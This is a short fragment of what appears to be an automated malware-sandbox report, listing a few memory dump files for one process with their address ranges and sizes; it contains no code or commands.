                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                        472KB

                                                                                                                                                                                                                                                      • memory/5072-1069-0x00000000053D0000-0x0000000005592000-memory.dmp

                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                        1.8MB

                                                                                                                                                                                                                                                      • memory/5072-1067-0x0000000000B00000-0x0000000000BC6000-memory.dmp

                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                        792KB